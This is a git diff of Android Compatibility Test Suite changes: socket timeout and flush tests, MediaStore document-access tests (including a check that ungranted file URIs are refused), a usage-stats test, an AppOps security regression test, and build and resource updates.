+ String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout";
+
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ final LocalSocket clientSocket = socketPair.clientSocket;
+
+ // Set the timeout in millis.
+ int timeoutMillis = 1000;
+ clientSocket.setSoTimeout(timeoutMillis);
+
+ // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
+ Callable<Result> reader = () -> {
+ try {
+ clientSocket.getInputStream().read();
+ return Result.noException("Did not block");
+ } catch (IOException e) {
+ return Result.exception(e);
+ }
+ };
+ // Allow the configured timeout, plus some slop.
+ int allowedTime = timeoutMillis + 2000;
+ Result result = runInSeparateThread(allowedTime, reader);
+
+ // Check the message was a timeout, it's all we have to go on.
+ String expectedMessage = Os.strerror(OsConstants.EAGAIN);
+ result.assertThrewIOException(expectedMessage);
+ }
+ }
+
+ // http://b/31205169
+ public void testSetSoTimeout_writeTimeout() throws Exception {
+ String address = ADDRESS_PREFIX + "_testSetSoTimeout_writeTimeout";
+
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ final LocalSocket clientSocket = socketPair.clientSocket;
+
+ // Set the timeout in millis.
+ int timeoutMillis = 1000;
+ clientSocket.setSoTimeout(timeoutMillis);
+
+ // Set a small buffer size so we know we can flood it.
+ clientSocket.setSendBufferSize(100);
+ final int bufferSize = clientSocket.getSendBufferSize();
+
+ // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
+ Callable<Result> writer = () -> {
+ try {
+ byte[] toWrite = new byte[bufferSize * 2];
+ clientSocket.getOutputStream().write(toWrite);
+ return Result.noException("Did not block");
+ } catch (IOException e) {
+ return Result.exception(e);
+ }
+ };
+ // Allow the configured timeout, plus some slop.
+ int allowedTime = timeoutMillis + 2000;
+
+ Result result = runInSeparateThread(allowedTime, writer);
+
+ // Check the message was a timeout, it's all we have to go on.
+ String expectedMessage = Os.strerror(OsConstants.EAGAIN);
+ result.assertThrewIOException(expectedMessage);
+ }
+ }
+
+ public void testAvailable() throws Exception {
+ String address = ADDRESS_PREFIX + "_testAvailable";
+
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ LocalSocket clientSocket = socketPair.clientSocket;
+ LocalSocket serverSocket = socketPair.serverSocket.accept();
+
+ OutputStream clientOutputStream = clientSocket.getOutputStream();
+ InputStream serverInputStream = serverSocket.getInputStream();
+ assertEquals(0, serverInputStream.available());
+
+ byte[] buffer = new byte[50];
+ clientOutputStream.write(buffer);
+ assertEquals(50, serverInputStream.available());
+
+ InputStream clientInputStream = clientSocket.getInputStream();
+ OutputStream serverOutputStream = serverSocket.getOutputStream();
+ assertEquals(0, clientInputStream.available());
+ serverOutputStream.write(buffer);
+ assertEquals(50, serverInputStream.available());
+
+ serverSocket.close();
+ }
+ }
+
+ // http://b/34095140
+ public void testLocalSocketCreatedFromFileDescriptor() throws Exception {
+ String address = ADDRESS_PREFIX + "_testLocalSocketCreatedFromFileDescriptor";
+
+ // Establish connection between a local client and server to get a valid client socket file
+ // descriptor.
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ // Extract the client FileDescriptor we can use.
+ FileDescriptor fileDescriptor = socketPair.clientSocket.getFileDescriptor();
+ assertTrue(fileDescriptor.valid());
+
+ // Create the LocalSocket we want to test.
+ LocalSocket clientSocketCreatedFromFileDescriptor =
+ LocalSocket.createConnectedLocalSocket(fileDescriptor);
+ assertTrue(clientSocketCreatedFromFileDescriptor.isConnected());
+ assertTrue(clientSocketCreatedFromFileDescriptor.isBound());
+
+ // Test the LocalSocket can be used for communication.
+ LocalSocket serverSocket = socketPair.serverSocket.accept();
+ OutputStream clientOutputStream =
+ clientSocketCreatedFromFileDescriptor.getOutputStream();
+ InputStream serverInputStream = serverSocket.getInputStream();
+
+ clientOutputStream.write(12);
+ assertEquals(12, serverInputStream.read());
+
+ // Closing clientSocketCreatedFromFileDescriptor does not close the file descriptor.
+ clientSocketCreatedFromFileDescriptor.close();
+ assertTrue(fileDescriptor.valid());
+
+ // .. while closing the LocalSocket that owned the file descriptor does.
+ socketPair.clientSocket.close();
+ assertFalse(fileDescriptor.valid());
+ }
+ }
+
+ public void testFlush() throws Exception {
+ String address = ADDRESS_PREFIX + "_testFlush";
+
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ LocalSocket clientSocket = socketPair.clientSocket;
+ LocalSocket serverSocket = socketPair.serverSocket.accept();
+
+ OutputStream clientOutputStream = clientSocket.getOutputStream();
+ InputStream serverInputStream = serverSocket.getInputStream();
+ testFlushWorks(clientOutputStream, serverInputStream);
+
+ OutputStream serverOutputStream = serverSocket.getOutputStream();
+ InputStream clientInputStream = clientSocket.getInputStream();
+ testFlushWorks(serverOutputStream, clientInputStream);
+
+ serverSocket.close();
+ }
+ }
+
+ private void testFlushWorks(OutputStream outputStream, InputStream inputStream)
+ throws Exception {
+ final int bytesToTransfer = 50;
+ StreamReader inputStreamReader = new StreamReader(inputStream, bytesToTransfer);
+
+ byte[] buffer = new byte[bytesToTransfer];
+ outputStream.write(buffer);
+ assertEquals(bytesToTransfer, inputStream.available());
+
+ // Start consuming the data.
+ inputStreamReader.start();
+
+ // This doesn't actually flush any buffers, it just polls until the reader has read all the
+ // bytes.
+ outputStream.flush();
+
+ inputStreamReader.waitForCompletion(5000);
+ inputStreamReader.assertBytesRead(bytesToTransfer);
+ assertEquals(0, inputStream.available());
+ }
+
+ private static class StreamReader extends Thread {
+ private final InputStream is;
+ private final int expectedByteCount;
+ private final CountDownLatch completeLatch = new CountDownLatch(1);
+
+ private volatile Exception exception;
+ private int bytesRead;
+
+ private StreamReader(InputStream is, int expectedByteCount) {
+ this.is = is;
+ this.expectedByteCount = expectedByteCount;
+ }
+
+ @Override
+ public void run() {
+ try {
+ byte[] buffer = new byte[10];
+ int readCount;
+ while ((readCount = is.read(buffer)) >= 0) {
+ bytesRead += readCount;
+ if (bytesRead >= expectedByteCount) {
+ break;
+ }
+ }
+ } catch (IOException e) {
+ exception = e;
+ } finally {
+ completeLatch.countDown();
+ }
+ }
+
+ public void waitForCompletion(long waitMillis) throws Exception {
+ if (!completeLatch.await(waitMillis, TimeUnit.MILLISECONDS)) {
+ fail("Timeout waiting for completion");
+ }
+ if (exception != null) {
+ throw new Exception("Read failed", exception);
+ }
+ }
+
+ public void assertBytesRead(int expected) {
+ assertEquals(expected, bytesRead);
+ }
+ }
+
+ private static class Result {
+ private final String type;
+ private final Exception e;
+
+ private Result(String type, Exception e) {
+ this.type = type;
+ this.e = e;
+ }
+
+ static Result noException(String description) {
+ return new Result(description, null);
+ }
+
+ static Result exception(Exception e) {
+ return new Result(e.getClass().getName(), e);
+ }
+
+ void assertThrewIOException(String expectedMessage) {
+ assertEquals("Unexpected result type", IOException.class.getName(), type);
+ assertEquals("Unexpected exception message", expectedMessage, e.getMessage());
+ }
+ }
+
+ private static Result runInSeparateThread(int allowedTime, final Callable<Result> callable)
+ throws Exception {
+ ExecutorService service = Executors.newSingleThreadScheduledExecutor();
+ Future<Result> future = service.submit(callable);
+ Result result = future.get(allowedTime, TimeUnit.MILLISECONDS);
+ if (!future.isDone()) {
+ fail("Worker thread appears blocked");
+ }
+ return result;
+ }
+
+ private static class LocalSocketPair implements AutoCloseable {
+ static LocalSocketPair createConnectedSocketPair(String address) throws Exception {
+ LocalServerSocket localServerSocket = new LocalServerSocket(address);
+ final LocalSocket clientSocket = new LocalSocket();
+
+ // Establish connection between client and server
+ LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
+ clientSocket.connect(locSockAddr);
+ assertTrue(clientSocket.isConnected());
+ return new LocalSocketPair(localServerSocket, clientSocket);
+ }
+
+ final LocalServerSocket serverSocket;
+ final LocalSocket clientSocket;
+
+ LocalSocketPair(LocalServerSocket serverSocket, LocalSocket clientSocket) {
+ this.serverSocket = serverSocket;
+ this.clientSocket = clientSocket;
+ }
+
+ public void close() throws Exception {
+ serverSocket.close();
+ clientSocket.close();
+ }
+ }
+}
diff --git a/tests/providerui/AndroidManifest.xml b/tests/providerui/AndroidManifest.xml
index 2f1f791d9d8..a14df70d71b 100644
--- a/tests/providerui/AndroidManifest.xml
+++ b/tests/providerui/AndroidManifest.xml
@@ -23,9 +23,7 @@
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<!--
@@ -42,7 +40,7 @@
</intent>
</queries>
- <application android:requestLegacyExternalStorage = "true">
+ <application>
<uses-library android:name="android.test.runner"/>
<activity android:name="android.providerui.cts.GetResultActivity" />
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 4342810763c..47fe16104d4 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -26,12 +26,12 @@ import android.app.Activity;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.ContentResolver;
+import android.content.ContentUris;
import android.content.Context;
import android.content.Intent;
import android.content.UriPermission;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
-import android.content.res.AssetFileDescriptor;
import android.database.Cursor;
import android.net.Uri;
import android.os.Environment;
@@ -39,7 +39,6 @@ import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
import android.os.storage.StorageManager;
import android.os.storage.StorageVolume;
-import android.os.UserManager;
import android.provider.DocumentsContract;
import android.provider.MediaStore;
import android.provider.cts.ProviderTestUtils;
@@ -50,12 +49,12 @@ import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.system.Os;
import android.text.format.DateUtils;
import android.util.Log;
+import android.util.Pair;
import androidx.test.InstrumentationRegistry;
@@ -68,6 +67,7 @@ import org.junit.runners.Parameterized.Parameter;
import org.junit.runners.Parameterized.Parameters;
import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
@@ -171,7 +171,7 @@ public class MediaStoreUiTest {
}
@Test
- public void testGetDocumentUri_ThrowsWithoutPermission() throws Exception {
+ public void testGetDocumentUri_throwsWithoutPermission() throws Exception {
if (!supportsHardware()) return;
prepareFile();
@@ -185,7 +185,7 @@ public class MediaStoreUiTest {
}
@Test
- public void testGetDocumentUri_Symmetry_ExternalStorageProvider() throws Exception {
+ public void testGetDocumentUri_symmetry_externalStorageProvider() throws Exception {
if (!supportsHardware()) return;
prepareFile();
@@ -207,10 +207,10 @@ public class MediaStoreUiTest {
}
@Test
- public void testGetMediaUriAccess_MediaDocumentsProvider() throws Exception {
+ public void testGetMediaUriAccess_mediaDocumentsProvider() throws Exception {
if (!supportsHardware()) return;
- prepareFile();
+ prepareFile("TEST");
clearDocumentsUi();
final Intent intent = new Intent();
intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
@@ -228,6 +228,104 @@ public class MediaStoreUiTest {
assertAccessToMediaUri(mediaUri, mFile);
}
+ @Test
+ public void testOpenFile_onMediaDocumentsProvider_success() throws Exception {
+ if (!supportsHardware()) return;
+
+ final String rawText = "TEST";
+ // Stage a text file which contains raw text "TEST"
+ prepareFile(rawText);
+ clearDocumentsUi();
+ final Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ intent.setType("*/*");
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mDevice.waitForIdle();
+
+ findDocument(mFile.getName()).click();
+ final Result result = mActivity.getResult();
+ final Uri uri = result.data.getData();
+ assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, uri.getAuthority());
+
+ // Test reading
+ final byte[] expected = rawText.getBytes();
+ final byte[] actual = new byte[4];
+ try (ParcelFileDescriptor fd = mContext.getContentResolver()
+ .openFileDescriptor(uri, "r")) {
+ Os.read(fd.getFileDescriptor(), actual, 0, actual.length);
+ assertArrayEquals(expected, actual);
+ }
+
+ // Test write and read after it
+ final byte[] writtenText = "Hello World".getBytes();
+ final byte[] readText = new byte[11];
+ try (ParcelFileDescriptor fd = mContext.getContentResolver()
+ .openFileDescriptor(uri, "wt")) {
+ Os.write(fd.getFileDescriptor(), writtenText, 0, writtenText.length);
+ }
+ try (ParcelFileDescriptor fd = mContext.getContentResolver()
+ .openFileDescriptor(uri, "r")) {
+ Os.read(fd.getFileDescriptor(), readText, 0, readText.length);
+ assertArrayEquals(writtenText, readText);
+ }
+ }
+
+ @Test
+ public void testOpenFile_onMediaDocumentsProvider_failsWithoutAccess() throws Exception {
+ if (!supportsHardware()) return;
+
+ clearDocumentsUi();
+ final Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ intent.setType("*/*");
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mDevice.waitForIdle();
+
+ String rawText = "TEST";
+ // Read and write grants will be provided to the file associated with this pair.
+ // Stages a text file which contains raw text "TEST"
+ Pair<Uri, File> uriFilePairWithGrants = prepareFileAndFetchDetails(rawText);
+ // Read and write grants will not be provided to the file associated with this pair
+ // Stages a text file which contains raw text "TEST"
+ Pair<Uri, File> uriFilePairWithoutGrants = prepareFileAndFetchDetails(rawText);
+ // Get access grants
+ findDocument(uriFilePairWithGrants.second.getName()).click();
+ final Result result = mActivity.getResult();
+ final Uri docUriOfFileWithAccess = result.data.getData();
+ // Creating doc URI for file by string replacement
+ Uri docUriOfFileWithoutAccess = Uri.parse(docUriOfFileWithAccess.toSafeString().replaceAll(
+ String.valueOf(ContentUris.parseId(uriFilePairWithGrants.first)),
+ String.valueOf(ContentUris.parseId(uriFilePairWithoutGrants.first))));
+
+ try {
+ assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, docUriOfFileWithAccess.getAuthority());
+ assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY,
+ docUriOfFileWithoutAccess.getAuthority());
+ // Test reading
+ try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor(
+ docUriOfFileWithoutAccess, "r")) {
+ fail("Expecting security exception as file does not have read grants which "
+ + "are provided through ACTION_OPEN_DOCUMENT intent.");
+ } catch (SecurityException expected) {
+ // Expected security exception as file does not have read grants
+ }
+ // Test writing
+ try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor(
+ docUriOfFileWithoutAccess, "wt")) {
+ fail("Expecting security exception as file does not have write grants which "
+ + "are provided through ACTION_OPEN_DOCUMENT intent.");
+ } catch (SecurityException expected) {
+ // Expected security exception as file does not have write grants
+ }
+ } finally {
+ // Deleting files
+ uriFilePairWithGrants.second.delete();
+ uriFilePairWithoutGrants.second.delete();
+ }
+ }
+
private void assertAccessToMediaUri(Uri mediaUri, File file) {
final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
try (Cursor c = mContext.getContentResolver().query(
@@ -320,6 +418,28 @@ public class MediaStoreUiTest {
Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
}
+ private void prepareFile(String rawText) throws Exception {
+ final File dir = new File(getVolumePath(mVolumeName),
+ Environment.DIRECTORY_DOCUMENTS);
+ final File file = new File(dir, "cts" + System.nanoTime() + ".txt");
+
+ mFile = stageFileWithRawText(rawText, file);
+ mMediaStoreUri = MediaStore.scanFile(mContext.getContentResolver(), mFile);
+
+ Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
+ }
+
+ private Pair<Uri, File> prepareFileAndFetchDetails(String rawText) throws Exception {
+ final File dir = new File(getVolumePath(mVolumeName), Environment.DIRECTORY_DOCUMENTS);
+ final File file = new File(dir, "cts" + System.nanoTime() + ".txt");
+
+ File stagedFile = stageFileWithRawText(rawText, file);
+
+ Uri uri = MediaStore.scanFile(mContext.getContentResolver(), stagedFile);
+ Log.v(TAG, "Staged " + stagedFile + " as " + uri);
+ return Pair.create(uri, stagedFile);
+ }
+
private void assertToolbarTitleEquals(String targetPackageName, String label)
throws UiObjectNotFoundException {
final UiSelector toolbarUiSelector = new UiSelector().resourceId(
@@ -427,32 +547,28 @@ public class MediaStoreUiTest {
// The caller may be trying to stage into a location only available to
// the shell user, so we need to perform the entire copy as the shell
final Context context = InstrumentationRegistry.getTargetContext();
- UserManager userManager = context.getSystemService(UserManager.class);
- if (userManager.isSystemUser() &&
- FileUtils.contains(Environment.getStorageDirectory(), file)) {
- executeShellCommand("mkdir -p " + file.getParent());
-
- try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
- final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
- final long skip = afd.getStartOffset();
- final long count = afd.getLength();
-
- executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s",
- source.getAbsolutePath(), skip, count, file.getAbsolutePath()));
+ final File dir = file.getParentFile();
+ dir.mkdirs();
+ if (!dir.exists()) {
+ throw new FileNotFoundException("Failed to create parent for " + file);
+ }
+ try (InputStream source = context.getResources().openRawResource(resId);
+ OutputStream target = new FileOutputStream(file)) {
+ FileUtils.copy(source, target);
+ }
+ return file;
+ }
- // Force sync to try updating other views
- executeShellCommand("sync");
- }
- } else {
- final File dir = file.getParentFile();
- dir.mkdirs();
- if (!dir.exists()) {
- throw new FileNotFoundException("Failed to create parent for " + file);
- }
- try (InputStream source = context.getResources().openRawResource(resId);
- OutputStream target = new FileOutputStream(file)) {
- FileUtils.copy(source, target);
- }
+ static File stageFileWithRawText(String rawText, File file) throws IOException {
+ final File dir = file.getParentFile();
+ dir.mkdirs();
+ if (!dir.exists()) {
+ throw new FileNotFoundException("Failed to create parent for " + file);
+ }
+ try (InputStream source = new ByteArrayInputStream(
+ rawText.getBytes(StandardCharsets.UTF_8));
+ OutputStream target = new FileOutputStream(file)) {
+ FileUtils.copy(source, target);
}
return file;
}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index a20a8f9ee00..c56103cc4bd 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -259,6 +259,19 @@ public class UsageStatsTest {
@AppModeFull(reason = "No usage events access in instant apps")
@Test
+ public void testLastTimeVisible_launchActivityShouldBeDetected() throws Exception {
+ mUiDevice.wakeUp();
+ dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+ final long startTime = System.currentTimeMillis();
+ launchSubActivity(Activities.ActivityOne.class);
+ final long endTime = System.currentTimeMillis();
+
+ verifyLastTimeVisibleWithinRange(startTime, endTime, mTargetPackage);
+ }
+
+ @AppModeFull(reason = "No usage events access in instant apps")
+ @Test
public void testLastTimeAnyComponentUsed_launchActivityShouldBeDetected() throws Exception {
mUiDevice.wakeUp();
dismissKeyguard(); // also want to start out with the keyguard dismissed.
@@ -311,6 +324,17 @@ public class UsageStatsTest {
verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
}
+ private void verifyLastTimeVisibleWithinRange(
+ long startTime, long endTime, String targetPackage) {
+ final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats(
+ startTime, endTime);
+ final UsageStats stats = map.get(targetPackage);
+ assertNotNull(stats);
+ final long lastTimeVisible = stats.getLastTimeVisible();
+ assertLessThanOrEqual(startTime, lastTimeVisible);
+ assertLessThanOrEqual(lastTimeVisible, endTime);
+ }
+
private void verifyLastTimeAnyComponentUsedWithinRange(
long startTime, long endTime, String targetPackage) {
final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats(
diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp
index 33e53a58ee2..bd34b7d01f0 100644
--- a/tests/tests/appop/Android.bp
+++ b/tests/tests/appop/Android.bp
@@ -82,7 +82,7 @@ android_test {
"libbacktrace",
"libbase",
"libbinder",
- "libbpf",
+ "libbpf_bcc",
"libbpf_android",
"libc++",
"libcgrouprc",
diff --git a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeTest.kt b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
index fc635f2871d..d6e9f126272 100644
--- a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
@@ -33,7 +33,9 @@ import android.content.Intent
import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
import android.content.ServiceConnection
import android.os.IBinder
+import android.os.Process
import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.AsbSecurityTest
import android.provider.Settings
import android.provider.Settings.Global.APP_OPS_CONSTANTS
import android.support.test.uiautomator.UiDevice
@@ -47,12 +49,14 @@ import org.junit.Before
import org.junit.Test
import java.util.concurrent.CompletableFuture
import java.util.concurrent.TimeUnit.MILLISECONDS
+import java.util.concurrent.TimeoutException
private const val TEST_SERVICE_PKG = "android.app.appops.cts.appthatcanbeforcedintoforegroundstates"
private const val TIMEOUT_MILLIS = 45000L
+private const val EXPECTED_TIMEOUT_MILLIS = 5000L
@AppModeFull(reason = "This test connects to other test app")
-class ForegroundModeTest {
+class ForegroundModeAndActiveTest {
private var previousAppOpsConstants: String? = null
private val instrumentation = InstrumentationRegistry.getInstrumentation()
@@ -361,6 +365,55 @@ class ForegroundModeTest {
gotCallback.get(TIMEOUT_MILLIS, MILLISECONDS)
}
+ @Test
+ @AsbSecurityTest(cveBugId = [208662370])
+ fun activeNotChangedAfterMultipleStartsUidModeChangeAndOneStop() {
+ val finishCallback = CompletableFuture<Unit>()
+ val startCallback = CompletableFuture<Unit>()
+ runWithShellPermissionIdentity {
+ appopsManager.startWatchingActive(arrayOf(OPSTR_FINE_LOCATION), context.mainExecutor) {
+ op, uid, pkgName, active ->
+ if (pkgName == context.packageName) {
+ if (active) {
+ startCallback.complete(Unit)
+ } else {
+ finishCallback.complete(Unit)
+ }
+ }
+ }
+ }
+
+ // Start three times
+ val numStarts = 3
+ for (i in 1..numStarts) {
+ appopsManager.startOp(OPSTR_FINE_LOCATION, Process.myUid(), context.packageName, null,
+ null)
+ }
+
+ // Wait for start
+ startCallback.get(TIMEOUT_MILLIS, MILLISECONDS)
+ withTopActivity {
+ // After moving to foreground, finish three times. We expect no callback until the third
+ for (i in 1..numStarts) {
+ context.getSystemService(AppOpsManager::class.java)!!.finishOp(OPSTR_FINE_LOCATION,
+ Process.myUid(), context.packageName, null)
+ val exception = try {
+ finishCallback.get(EXPECTED_TIMEOUT_MILLIS, MILLISECONDS)
+ null
+ } catch (e: TimeoutException) {
+ e
+ }
+ if (i < numStarts) {
+ Assert.assertNotNull("Got an active=false callback, but did not expect to",
+ exception)
+ } else {
+ Assert.assertNull("Expected to get an active=false callback after 3 stops",
+ exception)
+ }
+ }
+ }
+ }
+
@After
fun cleanup() {
foregroundControlService.cleanup()
diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp
index 891ebc331ef..eed4fc3d022 100644
--- a/tests/tests/libcoreapievolution/Android.bp
+++ b/tests/tests/libcoreapievolution/Android.bp
@@ -30,6 +30,6 @@ android_test {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-art",
],
}
diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp
index 58c388c4314..3febb32d74f 100644
--- a/tests/tests/libcorefileio/Android.bp
+++ b/tests/tests/libcorefileio/Android.bp
@@ -30,6 +30,6 @@ android_test {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-art",
],
}
diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp
index 44a997a7e10..98684b26a93 100644
--- a/tests/tests/libcorelegacy22/Android.bp
+++ b/tests/tests/libcorelegacy22/Android.bp
@@ -26,6 +26,6 @@ android_test {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-art",
],
}
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java b/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java
index d5d01c8f8bf..0df3b1bf447 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/MediaPlayerStressTest.java
@@ -162,6 +162,8 @@ abstract class MediaPlayerStressTest extends InstrumentationTestCase {
}
}
+ Preconditions.assertTestFileExists(mediaName);
+
File playbackOutput = new File(WorkDir.getTopDir(), "PlaybackTestResult.txt");
Writer output = new BufferedWriter(new FileWriter(playbackOutput, true));
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java b/tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java
new file mode 100644
index 00000000000..6fc2b8af79d
--- /dev/null
+++ b/tests/tests/mediastress/src/android/mediastress/cts/Preconditions.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediastress.cts;
+
+import java.io.File;
+
+import junit.framework.Assert;
+
+/**
+ * Static methods used to validate preconditions in the media CTS suite
+ * to simplify failure diagnosis.
+ */
+
+public final class Preconditions {
+ private static final String TAG = "Preconditions";
+
+ public static void assertTestFileExists(String pathName) {
+ File testFile = new File(pathName);
+ Assert.assertTrue("Test Setup Error, missing file: " + pathName, testFile.exists());
+ }
+
+ private Preconditions() {}
+}
diff --git a/tests/tests/mediatranscoding/OWNERS b/tests/tests/mediatranscoding/OWNERS
index e653979bb79..a4393a7d126 100644
--- a/tests/tests/mediatranscoding/OWNERS
+++ b/tests/tests/mediatranscoding/OWNERS
@@ -1,4 +1,4 @@
# Bug component: 761430
-hkuang@google.com
-chz@google.com
-lnilsson@google.com
+
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4
new file mode 100644
index 00000000000..41f6c2274a8
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_480p_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4
new file mode 100644
index 00000000000..7211fec18b2
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_720p_30Frames.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
index 33bb8b72b95..a88f81c9004 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
@@ -91,9 +91,9 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
// Default setting for transcoding to H.264.
private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
- private static final int BIT_RATE = 20000000; // 20Mbps
- private static final int WIDTH = 1920;
- private static final int HEIGHT = 1080;
+ private static final int BIT_RATE = 4000000; // 4Mbps
+ private static final int WIDTH = 720;
+ private static final int HEIGHT = 480;
// Threshold for the psnr to make sure the transcoded video is valid.
private static final int PSNR_THRESHOLD = 20;
@@ -151,9 +151,9 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
androidx.test.InstrumentationRegistry.registerInstance(
InstrumentationRegistry.getInstrumentation(), new Bundle());
- // Setup source HEVC file uri.
- mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_30Frames,
- "Video_HEVC_30Frames.mp4");
+ // Setup default source HEVC 480p file uri.
+ mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_480p_30Frames,
+ "Video_HEVC_480p_30Frames.mp4");
// Setup source AVC file uri.
mSourceAVCVideoUri = resourceToUri(mContext, R.raw.Video_AVC_30Frames,
@@ -344,7 +344,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
// Tests transcoding to a uri in res folder and expects failure as test could not write to res
// folder.
public void testTranscodingToResFolder() throws Exception {
- if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+ if (shouldSkip()) {
return;
}
// Create a file Uri: android.resource://android.media.cts/temp.mp4
